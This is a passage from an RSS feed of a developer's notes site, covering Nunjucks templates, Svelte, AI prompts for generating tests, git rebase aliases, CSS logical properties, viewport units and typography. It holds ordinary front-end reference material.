&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another example that makes use of &lt;code&gt;loop.index&lt;/code&gt; and &lt;code&gt;loop.length&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% for value in array %}
  &amp;lt;li&amp;gt;[{{ loop.index }} of {{ loop.length }}] {{ value }}
  &amp;lt;pre&amp;gt;{{ loop | inspect }}&amp;lt;/pre&amp;gt;
  {% if not loop.last %}
    &amp;lt;hr/&amp;gt;
  {% endif %}
  &amp;lt;/li&amp;gt;
{% endfor %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Debugging&lt;/h3&gt;
&lt;p&gt;There are two useful ways to debug data in Nunjucks templates.&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;dump&lt;/code&gt; filter&lt;/h4&gt;
&lt;p&gt;Prints the data to the page&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ data | dump }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;code&gt;log&lt;/code&gt; filter&lt;/h4&gt;
&lt;p&gt;Logs the data to your terminal&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ data | log }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;They can be used together:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ data | dump | log }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Active class on links&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a
  class=&quot;{{ &apos;active&apos; if &apos;/&apos; === page.url }}&quot;
  href=&quot;{{ &apos;/&apos; | url }}&quot;
&amp;gt;
  Home
&amp;lt;/a&amp;gt;

&amp;lt;!-- or to set an active link for all items in a subdirectory --&amp;gt;

{{ &apos;active&apos; if &apos;/blog&apos; in page.url }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More examples: https://bryanlrobinson.com/blog/using-nunjucks-if-expressions-to-create-an-active-navigation-state-in-11ty/&lt;/p&gt;
</content:encoded><category>11ty</category><author>Zander Martineau</author></item><item><title>Text selection</title><link>https://zander.wtf/notes/text-selection/</link><guid isPermaLink="true">https://zander.wtf/notes/text-selection/</guid><pubDate>Fri, 09 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;const selection = window.getSelection()
const selectedText = selection.toString()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Svelte</title><link>https://zander.wtf/notes/svelte/</link><guid isPermaLink="true">https://zander.wtf/notes/svelte/</guid><description>How to extend prop types from HTML elements For everyone who wants to create a wrapper component around a certain HTML element and wants a way to type…</description><pubDate>Mon, 05 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;How to extend prop types from HTML elements&lt;/h2&gt;
&lt;p&gt;For everyone who wants to create a wrapper component around a certain HTML element and wants a way to type &quot;this component accepts all properties of X&quot;, here&apos;s how you do it as of Svelte version 3.55:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script lang=&quot;ts&quot;&amp;gt;
  import type { HTMLButtonAttributes } from &apos;svelte/elements&apos;
  interface $$Props extends HTMLButtonAttributes {
    error: boolean // your own additional typings
  }

  export let error: boolean
  // ...
&amp;lt;/script&amp;gt;

&amp;lt;!-- ... --&amp;gt;
&amp;lt;button&amp;gt;
  &amp;lt;slot /&amp;gt;
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/sveltejs/language-tools/issues/442#issuecomment-1359423782&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Adding classes conditionally&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Button.svelte --&amp;gt;
&amp;lt;script&amp;gt;
  export let primary = false
  export let secondary = false
&amp;lt;/script&amp;gt;

&amp;lt;button
  class:c-btn--primary=&quot;{primary}&quot;
  class:c-btn--secondary=&quot;{secondary}&quot;
  class=&quot;c-btn&quot;
&amp;gt;
  &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt;
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Button secondary=&quot;{true}&quot;&amp;gt;Click me&amp;lt;/Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>svelte</category><author>Zander Martineau</author></item><item><title>AI prompts</title><link>https://zander.wtf/notes/ai-prompts/</link><guid isPermaLink="true">https://zander.wtf/notes/ai-prompts/</guid><description>I use these prompts to generate code with Raycast&apos;s Ask AI feature. I have setup the following commands: Vitest tests for given code JSDOC comments…</description><pubDate>Wed, 17 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I use these prompts to generate code with &lt;a href=&quot;https://raycast.com/&quot;&gt;Raycast&apos;s&lt;/a&gt; Ask AI feature. I have setup the following commands:&lt;/p&gt;
&lt;h2&gt;Vitest tests for given code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;System: As a software developer, I am currently working on a project using Vitest, TypeScript, and React Testing Library. I would like you to help me generate unit tests for the given code. Analyze the given code and provide a multiple unit tests to test all the various logic flows of the given code, with the necessary imports, wrapped in a describe block, without any additional explanations or comments, unless absolutely necessary. Ensure all 3rd party code imports are included as well, including `import { describe, expect, it } from &apos;vitest&apos;;` and assume that the function being tested resides in the same directory as the test file. If I say &quot;next,&quot; please give me another test for the same code. In case I submit new code, please discard the previous code and start generating tests for the new one. Prioritize testing the code logic in different scenarios as the first priority in testing. If I provide specific instructions or ask you to test a particular part or scenario, please follow those instructions and generate the unit test accordingly. Do not include the given code in your response. Format the response as TypeScript code. Do not respond until the given code is provided.

User:
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSDOC comments&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;System: As a software developer I would like you to help me generate a JSDOC comment to document the given code. Include a `@name`, `@description`, `@param`, `@returns`, and `@example` for the given code, without any additional explanations or comments, unless absolutely necessary. Do not include the given code in your response. Format the response as TypeScript code. Do not respond until the given code is provided.

User:
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Storybook stories for React components&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;System: As a software developer I would like you to help me generate some Storybook.js stories to document the given code. Include a various examples that show how the props might affect rendering, without any additional explanations or comments, unless absolutely necessary. Do not include the given code in your response. Format the response as TypeScript code. Do not respond until the given code is provided. Please format the output as follows (`ComponentName` is an example name for the component, please use the component&apos;s real name from the given code):

```tsx
import type { Meta, StoryObj } from &apos;@storybook/react&apos;

import { ComponentName } from &apos;./ComponentName&apos;

const meta: Meta&amp;lt;typeof ComponentName&amp;gt; = {
  title: &apos;Components/ComponentName&apos;,
  component: ComponentName,
}

export default meta
type Story = StoryObj&amp;lt;typeof ComponentName&amp;gt;

export const Basic: Story = {
  args: {
    prop1: &apos;Something&apos;,
    prop2: true,
  },
}
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Write playwright tests&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;System: As a software developer, I am currently working on a project using Playwright, TypeScript, and Testing Library. I would like you to help me generate/scaffold playwright tests for the given scenario. Ensure all 3rd party code imports are included as well, including `import { test, expect } from &quot;@playwright/test&quot;;`. Only output the test code, nothing else.

User:

- Visit: https://zander.wtf
- Click the &quot;Blog&quot; link in the navigation
- Check that the page title is &quot;Blog | Zander Martineau&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>ai</category><author>Zander Martineau</author></item><item><title>npm package versions</title><link>https://zander.wtf/notes/npm-versions/</link><guid isPermaLink="true">https://zander.wtf/notes/npm-versions/</guid><description>Update all packages interactively Using npm-check:</description><pubDate>Tue, 16 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Update all packages interactively&lt;/h2&gt;
&lt;p&gt;Using &lt;a href=&quot;https://github.com/dylang/npm-check&quot;&gt;npm-check&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm-check -u
# or (if it doesn&apos;t detect the package manager correctly)
NPM_CHECK_INSTALLER=npm npm-check -u
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>devops</category><author>Zander Martineau</author></item><item><title>Idiot-proof Git Rebasing</title><link>https://zander.wtf/notes/git-rebasing/</link><guid isPermaLink="true">https://zander.wtf/notes/git-rebasing/</guid><description>By adding these aliases to your git config, you will be able to simplify rebasing. Sync your branch with main The sync command will get your local branch…</description><pubDate>Tue, 14 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;By adding these aliases to your git config, you will be able to simplify rebasing.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[alias]
  # *********************
  # Rebase workflow
    mainbranch = &quot;!git remote show origin | sed -n &apos;/HEAD branch/s/.*: //p&apos;&quot;
    sync = &quot;!git pull origin $(git mainbranch) --rebase&quot;
    update = &quot;!git pull origin $(git rev-parse --abbrev-ref HEAD) --rebase&quot;
    squash = &quot;!git rebase -v -i $(git mainbranch)&quot;
    publish = push origin HEAD --force-with-lease
    pub = publish
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sync your branch with &lt;code&gt;main&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;sync&lt;/code&gt; command will get your local branch up to date with your main branch (main or master) at origin (ie Github).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git sync
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Publish your branch’s changes to the world&lt;/h2&gt;
&lt;p&gt;The publish (abbrev &lt;code&gt;pub&lt;/code&gt;) command publishes your changes to your remote branch. If other changes have been posted by another user to the remote, then changes will be rejected. You should update first to incorporate their changes and resolve any conflicts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git publish
git pub
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Update your branch with Github’s copy of your branch&lt;/h2&gt;
&lt;p&gt;If your local branch gets out of date with origin’s version of your branch, then do an update. This would happen if you’re collaborating on the branch with a colleague and need to get up to date.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git update
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Squash commits&lt;/h2&gt;
&lt;p&gt;Prior to merging, you likely want to shrink your branch’s many noisy commits to one or two meaningful ones. That’s what squash command does, giving you a chance to rewrite the branch’s history.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git squash
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>cheatsheet</category><category>git</category><author>Zander Martineau</author></item><item><title>CSS logical properties and values</title><link>https://zander.wtf/notes/locical-properties/</link><guid isPermaLink="true">https://zander.wtf/notes/locical-properties/</guid><description>If you’re creating a website in multiple languages, logical properties and values are incredibly useful. Even if you’re not, there are still some…</description><pubDate>Sun, 12 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’re creating a website in multiple languages, logical properties and values are incredibly useful. Even if you’re not, there are still some convenient new shorthands it’s worth knowing about.&lt;/p&gt;
&lt;h2&gt;Physical properties&lt;/h2&gt;
&lt;p&gt;We&apos;re used to working with physical properties like &lt;code&gt;margin-right&lt;/code&gt;, &lt;code&gt;top&lt;/code&gt;, or &lt;code&gt;border-left&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ul {
  display: flex;
  list-style: none;
  padding: 0.5rem 0;
}

li {
  background-color: #6befef;
  margin-right: 2rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Logical properties&lt;/h2&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;300&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Logical Properties Mapping&quot; src=&quot;https://codepen.io/aardrian/embed/bGGxrvM?default-tab=result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&amp;gt;
See the Pen &amp;lt;a href=&quot;https://codepen.io/aardrian/pen/bGGxrvM&quot;&amp;gt;
Logical Properties Mapping&amp;lt;/a&amp;gt; by Adrian Roselli (&amp;lt;a href=&quot;https://codepen.io/aardrian&quot;&amp;gt;@aardrian&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h3&gt;Sizing&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;width&lt;/td&gt;
&lt;td&gt;inline-size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;max-width&lt;/td&gt;
&lt;td&gt;max-inline-size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;min-width&lt;/td&gt;
&lt;td&gt;min-inline-size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;height&lt;/td&gt;
&lt;td&gt;block-size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;max-height&lt;/td&gt;
&lt;td&gt;max-block-size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;min-height&lt;/td&gt;
&lt;td&gt;min-block-size&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Borders&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;border-top&lt;/td&gt;
&lt;td&gt;border-block-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;border-bottom&lt;/td&gt;
&lt;td&gt;border-block-end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;border-left&lt;/td&gt;
&lt;td&gt;border-inline-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;border-right&lt;/td&gt;
&lt;td&gt;border-inline-end&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Shorthands&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;padding-top and padding-bottom&lt;/td&gt;
&lt;td&gt;padding-block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;padding-left and padding-right&lt;/td&gt;
&lt;td&gt;padding-inline&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Margin&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;margin-top&lt;/td&gt;
&lt;td&gt;margin-block-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;margin-bottom&lt;/td&gt;
&lt;td&gt;margin-block-end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;margin-left&lt;/td&gt;
&lt;td&gt;margin-inline-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;margin-right&lt;/td&gt;
&lt;td&gt;margin-inline-end&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Shorthands&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;margin-top and margin-bottom&lt;/td&gt;
&lt;td&gt;margin-block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;margin-left and margin-right&lt;/td&gt;
&lt;td&gt;margin-inline&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Padding&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;padding-top&lt;/td&gt;
&lt;td&gt;padding-block-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;padding-bottom&lt;/td&gt;
&lt;td&gt;padding-block-end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;padding-left&lt;/td&gt;
&lt;td&gt;padding-inline-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;padding-right&lt;/td&gt;
&lt;td&gt;padding-inline-end&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Shorthands&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;padding-top and padding-bottom&lt;/td&gt;
&lt;td&gt;padding-block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;padding-left and padding-right&lt;/td&gt;
&lt;td&gt;padding-inline&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Positioning&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;top&lt;/td&gt;
&lt;td&gt;inset-block-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bottom&lt;/td&gt;
&lt;td&gt;inset-block-end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;left&lt;/td&gt;
&lt;td&gt;inset-inline-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;right&lt;/td&gt;
&lt;td&gt;inset-inline-end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;top and&lt;/td&gt;
&lt;td&gt;bottom inset-block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;left and&lt;/td&gt;
&lt;td&gt;right inset-inline&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Border radius&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical property&lt;/th&gt;
&lt;th&gt;Logical property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;border-top-left-radius&lt;/td&gt;
&lt;td&gt;border-start-start-radius&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;border-top-right-radius&lt;/td&gt;
&lt;td&gt;border-start-end-radius&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;border-bottom-left-radius&lt;/td&gt;
&lt;td&gt;border-end-start-radius&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;border-bottom-right-radius&lt;/td&gt;
&lt;td&gt;border-end-end-radius&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Logical values&lt;/h2&gt;
&lt;h3&gt;Floats&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical value&lt;/th&gt;
&lt;th&gt;Logical value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;float: left&lt;/td&gt;
&lt;td&gt;float: inline-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;float: right&lt;/td&gt;
&lt;td&gt;float: inline-end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;clear: left&lt;/td&gt;
&lt;td&gt;clear: inline-start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;clear: right&lt;/td&gt;
&lt;td&gt;clear: inline-end&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Text alignment&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Physical value&lt;/th&gt;
&lt;th&gt;Writing mode&lt;/th&gt;
&lt;th&gt;Logical value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;text-align: left&lt;/td&gt;
&lt;td&gt;LTR&lt;/td&gt;
&lt;td&gt;text-align: start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;text-align: right&lt;/td&gt;
&lt;td&gt;RTL&lt;/td&gt;
&lt;td&gt;text-align: start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;text-align: left&lt;/td&gt;
&lt;td&gt;RTL&lt;/td&gt;
&lt;td&gt;text-align: end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;text-align: right&lt;/td&gt;
&lt;td&gt;LTR&lt;/td&gt;
&lt;td&gt;text-align: end&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties&lt;/li&gt;
&lt;li&gt;https://web.dev/learn/css/logical-properties/&lt;/li&gt;
&lt;li&gt;https://www.matuzo.at/blog/2022/100daysof-day2/&lt;/li&gt;
&lt;li&gt;https://www.matuzo.at/blog/2022/100daysof-day3/&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>vh, svh, lvh, and dvh</title><link>https://zander.wtf/notes/viewport-height-units/</link><guid isPermaLink="true">https://zander.wtf/notes/viewport-height-units/</guid><description>Using the viewport unit vh in desktop browsers is usually straight-forward, 100vh matches the height of the viewport. On mobile that&apos;s different because…</description><pubDate>Sat, 11 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Using the viewport unit &lt;code&gt;vh&lt;/code&gt; in desktop browsers is usually straight-forward, &lt;code&gt;100vh&lt;/code&gt; matches the height of the viewport. On mobile that&apos;s different because the viewport height changes depending on whether or not certain user interface elements are visible, &lt;code&gt;100vh&lt;/code&gt; doesn&apos;t always match the height of the viewport.&lt;/p&gt;
&lt;p&gt;The problem with &lt;code&gt;100vh&lt;/code&gt; on mobile is that it doesn’t respect whether user interface elements are expanded or not. It usually always matches the large viewport. CSS introduces new viewport units to address that issue.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;dvh&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;dvh&lt;/code&gt; is a dynamic value that matches the viewport height dynamically. Use this if you want to match the height of the viewport regardless of whether or not user interface elements are expanded or not.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;div {
  height: 100dvh;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also use &lt;code&gt;svh&lt;/code&gt; for the small viewport and &lt;code&gt;lvh&lt;/code&gt; for the large viewport.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;div {
  height: 100svh;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;div {
  height: 100lvh;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://caniuse.com/viewport-unit-variants&lt;/li&gt;
&lt;li&gt;https://browser-units.web.app/&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Hyphens and dashes</title><link>https://zander.wtf/notes/hyphens/</link><guid isPermaLink="true">https://zander.wtf/notes/hyphens/</guid><description>| character | name | windows | mac os | html | | --------- | ------- | -------- | ----------------------- | --------- | | - | hyphen | - | - | - | | – | en…</description><pubDate>Thu, 09 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;character&lt;/th&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;windows&lt;/th&gt;
&lt;th&gt;mac os&lt;/th&gt;
&lt;th&gt;html&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;hyphen&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;en dash&lt;/td&gt;
&lt;td&gt;alt 0150&lt;/td&gt;
&lt;td&gt;option + hyphen&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;ndash;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;em dash&lt;/td&gt;
&lt;td&gt;alt 0151&lt;/td&gt;
&lt;td&gt;option + shift + hyphen&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;mdash;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Hyphens&lt;/h2&gt;
&lt;p&gt;The hyphen (-) is the smallest of these marks. It has three uses.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A hyphen appears at the end of a line when a word breaks onto the next line. These hyphens are added and removed automatically by your word processor’s hyphenation feature.&lt;/li&gt;
&lt;li&gt;Some multipart words are spelled with a hyphen (topsy-turvy, cost-effective, bric-a-brac). But a prefix is not typically followed with a hyphen (nonprofit, not non-profit).&lt;/li&gt;
&lt;li&gt;A hyphen is used in phrasal adjectives (commercial-speech restriction, estate-planning attorney, law-school grades) to ensure clarity. Nonprofessional writers often omit these hyphens. As a professional writer, you should not. For instance, consider the unhyphenated phrase &lt;em&gt;five dollar bills&lt;/em&gt;. Is &lt;em&gt;five&lt;/em&gt; the quantity of &lt;em&gt;dollar bills&lt;/em&gt;, or are the bills each worth &lt;em&gt;five dollars&lt;/em&gt;? As written, it suggests the former. If you mean the latter, then you’d write &lt;em&gt;five-dollar bills&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Dashes&lt;/h2&gt;
&lt;p&gt;Dashes come in two sizes—the &lt;em&gt;en dash&lt;/em&gt; and the &lt;em&gt;em dash&lt;/em&gt;. The em dash (—) is typically about as wide as a capital H. The en dash (–) is about half as wide.&lt;/p&gt;
&lt;h3&gt;En dash&lt;/h3&gt;
&lt;p&gt;The en dash has two uses.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It indicates a range of values (1880–1912, 116 Cal. App. 4th 330–39, Exhibits A–E). If you open with from, pair it with to instead of an en dash (from 1880 to 1912, not from 1880–1912).&lt;/li&gt;
&lt;li&gt;It denotes a connection or contrast between pairs of words (conservative–liberal split, Arizona–Nevada reciprocity, Sarbanes–Oxley Act).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Em dash&lt;/h3&gt;
&lt;p&gt;The &lt;em&gt;em dash&lt;/em&gt; is used to make a break between parts of a sentence. Use it when a comma is too weak, but a colon, semicolon, or pair of parentheses is too strong. The &lt;em&gt;em dash&lt;/em&gt; puts a nice pause in the text—and it is underused in professional writing.&lt;/p&gt;
</content:encoded><category>typography</category><author>Zander Martineau</author></item><item><title>:focus-visible</title><link>https://zander.wtf/notes/css-focus-visible/</link><guid isPermaLink="true">https://zander.wtf/notes/css-focus-visible/</guid><description>:focus-visible allows you to get rid of the annoying focus outline on mouse clicks, while letting you specify the focus styling only for keyboard users (as…</description><pubDate>Wed, 01 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;:focus-visible&lt;/code&gt; allows you to get rid of the annoying focus outline on mouse clicks, while letting you specify the focus styling only for keyboard users (as well as other &quot;tabbing&quot; devices like joysticks)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;button:focus-visible {
  outline: 2px solid rebeccapurple;
}
@supports not selector(:focus-visible) {
  button:focus {
    outline: 2px solid rebeccapurple;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;button {
